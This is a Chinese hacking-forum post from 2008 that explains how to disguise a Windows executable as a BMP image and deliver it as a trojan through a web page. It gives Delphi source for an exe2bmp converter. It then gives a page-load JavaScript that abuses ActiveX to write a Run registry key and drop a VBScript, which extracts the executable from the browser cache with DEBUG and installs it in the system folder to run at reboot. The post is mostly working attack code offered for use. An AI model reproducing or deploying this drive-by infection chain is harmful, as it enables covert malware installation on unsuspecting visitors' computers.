找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1347|回复: 0

把EXE变为bmp让后挂马

[复制链接]

2

主题

1

回帖

4

牛毛

游客

积分
24
发表于 2008-4-26 13:10:12 | 显示全部楼层 |阅读模式
BMP文件的文件头有54个字节,简单来说里面包含了BMP文件的长宽,位数,文件大小,数据区长度,我们只要在 EXE文件的文件头前面添加相应的BMP文件头(当然BMP文件头里面的数据要符合EXE文件的大小啦),这样就可以欺骗IE下载该BMP文件   转换代码如下
  program exe2bmp;

uses
Windows,
SysUtils;

var len,row,col,fs: DWORD;
buffer: array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;

begin
if (ParamStr(1)<>&#39;&#39;&#39;&#39;) and(ParamStr(2)<>&#39;&#39;&#39;&#39;) then begin //如果运行后没有两个参数则退出 
if FileExists(ParamStr(1)) then begin 
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin 
len:=fs;
end else len:=fs+12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col+4;
end else Break;
end; 
FillChar(buffer,256,0);
{一下为BMP文件头数据} 
Buffer[0]:=&#39;&#39;B&#39;&#39;;Buffer[1]:=&#39;&#39;M&#39;&#39;;
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len+54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{写入文件} 
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat 
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.
以上代码可以在DELPHI4,5,6中编译 ,就可以得到一个exe2bmp.exe文件    再在DOS下运行 exe2bmp myexe.exe mybmp.bmp 就可以把第二个参数所指定的EXE文件转换成BMP格式,接着就是把这个BMP图片放到网页上了 以下是放在网页上的脚本
document.write(&#39;&#39; &#39;&#39;); 
function docsave() 
{ 
a=document.applets[0]; 
a.setCLSID(&#39;&#39;{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}&#39;&#39;); 
a.createInstance(); 
wsh=a.GetObject(); 
a.setCLSID(&#39;&#39;{0D43FE01-F093-11CF-8940-00A0C9054228}&#39;&#39;); 
a.createInstance(); 
fso=a.GetObject(); 
var winsys=fso.GetSpecialFolder(1); 
var vbs=winsys+&#39;&#39;\\\\s.vbs&#39;&#39;; 
wsh.RegWrite 
(&#39;&#39;HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\vbs&#39;&#39;,&#39;&#39;wscript &#39;&#39;+&#39;&#39;\"&#39;&#39;+vbs+&#39;&#39;\" &#39;&#39;); 
var st=fso.CreateTextFile(vbs,true); 
st.WriteLine(&#39;&#39;Option Explicit&#39;&#39;); 
st.WriteLine(&#39;&#39;Dim FSO,WSH,CACHE,str&#39;&#39;); 
st.WriteLine(&#39;&#39;Set FSO = CreateObject(\"Scripting.FileSystemObject\")&#39;&#39;); 
st.WriteLine(&#39;&#39;Set WSH = CreateObject(\"WScript.Shell\")&#39;&#39;); 
st.WriteLine(&#39;&#39;CACHE=wsh.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\ShellFolders\\\\Cache\")&#39;&#39;); 
st.WriteLine(&#39;&#39;wsh.RegDelete(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\vbs\")&#39;&#39;);
st.WriteLine (&#39;&#39;wsh.RegWrite \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\tmp\",\"tmp.exe\"&#39;&#39;); 
st.WriteLine(&#39;&#39;SearchBMPFile fso.GetFolder(CACHE),\"mybmp[1].bmp\"&#39;&#39;); 
st.WriteLine(&#39;&#39;WScript.Quit()&#39;&#39;); 
st.WriteLine(&#39;&#39;Function SearchBMPFile(Folder,fname)&#39;&#39;); 
st.WriteLine(&#39;&#39; Dim SubFolder,File,Lt,tmp,winsys&#39;&#39;); 
st.WriteLine(&#39;&#39; str=FSO.GetParentFolderName(folder) & \"\\\\\" & folder.name & \"\\\\\" & fname&#39;&#39;); 
st.WriteLine(&#39;&#39; if FSO.FileExists(str) then&#39;&#39;); 
st.WriteLine(&#39;&#39; tmp=fso.GetSpecialFolder(2) & \"\\\\\"&#39;&#39;); 
st.WriteLine(&#39;&#39; winsys=fso.GetSpecialFolder(1) & \"\\\\\"&#39;&#39;); 
st.WriteLine(&#39;&#39; set File=FSO.GetFile(str)&#39;&#39;); 
st.WriteLine(&#39;&#39; File.Copy(tmp & \"tmp.dat\")&#39;&#39;); 
st.WriteLine(&#39;&#39; File.Delete&#39;&#39;); 
st.WriteLine(&#39;&#39; set Lt=FSO.CreateTextFile(tmp & \"tmp.in\")&#39;&#39;); 
st.WriteLine(&#39;&#39; Lt.WriteLine(\"rbx\")&#39;&#39;); 
st.WriteLine(&#39;&#39; Lt.WriteLine(\"0\")&#39;&#39;); 
st.WriteLine(&#39;&#39; Lt.WriteLine(\"rcx\")&#39;&#39;); 
st.WriteLine(&#39;&#39; Lt.WriteLine(\"1000\")&#39;&#39;); 
st.WriteLine(&#39;&#39; Lt.WriteLine(\"w136\")&#39;&#39;); 
st.WriteLine(&#39;&#39; Lt.WriteLine(\"q\")&#39;&#39;); 
st.WriteLine(&#39;&#39; Lt.Close&#39;&#39;); 
st.WriteLine(&#39;&#39; WSH.Run \"command /c debug \" & tmp & \"tmp.dat <\" & tmp & \"tmp.in >\" & tmp & \"tmp.out\",false,6&#39;&#39;); 
st.WriteLine(&#39;&#39; On Error Resume Next &#39;&#39;); 
st.WriteLine(&#39;&#39; FSO.GetFile(tmp & \"tmp.dat\").Copy(winsys & \"tmp.exe\")&#39;&#39;); 
st.WriteLine(&#39;&#39; FSO.GetFile(tmp & \"tmp.dat\").Delete&#39;&#39;); 
st.WriteLine(&#39;&#39; FSO.GetFile(tmp & \"tmp.in\").Delete&#39;&#39;); 
st.WriteLine(&#39;&#39; FSO.GetFile(tmp & \"tmp.out\").Delete&#39;&#39;); 
st.WriteLine(&#39;&#39; end if&#39;&#39;); 
st.WriteLine(&#39;&#39; If Folder.SubFolders.Count <> 0 Then&#39;&#39;); 
st.WriteLine(&#39;&#39; For Each SubFolder In Folder.SubFolders&#39;&#39;); 
st.WriteLine(&#39;&#39; SearchBMPFile SubFolder,fname&#39;&#39;); 
st.WriteLine(&#39;&#39; Next&#39;&#39;); 
st.WriteLine(&#39;&#39; End If&#39;&#39;); 
st.WriteLine(&#39;&#39;End Function&#39;&#39;);
st.Close(); 
} 
setTimeout(&#39;&#39;docsave()&#39;&#39;,1000);         把该脚本保存为\"js.js\",在网页中插入 这样就行了~嘎嘎噶~.

该脚本主要会在本地机器的SYSTEM目录下生成一个“S.VBS”文件,该脚本文件会在下次开机时自动运行。主要用于从临时目录中找出mybmp[1].bmp文件。
“S.VBS”文件主要内容如下:
Option Explicit
Dim FSO,WSH,CACHE,str
Set FSO = CreateObject(\"Scripting.FileSystemObject\")
Set WSH = CreateObject(\"WScript.Shell\")
CACHE=wsh.RegRead(\"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache\")
wsh.RegDelete(\"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs\")
wsh.RegWrite \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp\",\"tmp.exe\"
SearchBMPFile fso.GetFolder(CACHE),\"mybmp[1].bmp\"
WScript.Quit()
Function SearchBMPFile(Folder,fname)
Dim SubFolder,File,Lt,tmp,winsys
&#39;&#39;从临时文件夹中查找目标BMP图片 
str=FSO.GetParentFolderName(folder) & \"\\\" & folder.name & \"\\\" & fname
if FSO.FileExists(str) then
tmp=fso.GetSpecialFolder(2) & \"\\\"
winsys=fso.GetSpecialFolder(1) & \"\\\"
set File=FSO.GetFile(str)
File.Copy(tmp & \"tmp.dat\")
File.Delete
&#39;&#39;生成一个DEBUG脚本
set Lt=FSO.CreateTextFile(tmp & \"tmp.in\")
Lt.WriteLine(\"rbx\")
Lt.WriteLine(\"0\")
Lt.WriteLine(\"rcx\")
&#39;&#39;下面一行的1000是十六进制,换回十进制是4096(该数字是你的EXE文件的大小) 
Lt.WriteLine(\"1000\")
Lt.WriteLine(\"w136\")
Lt.WriteLine(\"q\")
Lt.Close
WSH.Run \"command /c debug \" & tmp & \"tmp.dat <\" & tmp &\"tmp.in>\" & tmp & \"tmp.out\",false,6
On Error Resume Next 
FSO.GetFile(tmp & \"tmp.dat\").Copy(winsys & \"tmp.exe\")
FSO.GetFile(tmp & \"tmp.dat\").Delete
FSO.GetFile(tmp & \"tmp.in\").Delete
FSO.GetFile(tmp & \"tmp.out\").Delete
end if
If Folder.SubFolders.Count <> 0 Then
For Each SubFolder In Folder.SubFolders
SearchBMPFile SubFolder,fname
Next
End If
End Function

这个脚本会找出在临时文件夹中的bmp文件,并生成一个DEBUG的脚本,运行时会自动从BMP文件54字节处读去你指定大小的数据,并把它保存到 tmp.dat中.后面的脚本再把它复制到SYSTEM的目录下.这个被还原的EXE文件会在下次重起的时候运行.这就BMP木
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-12 00:55 , Processed in 0.118343 second(s), 28 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表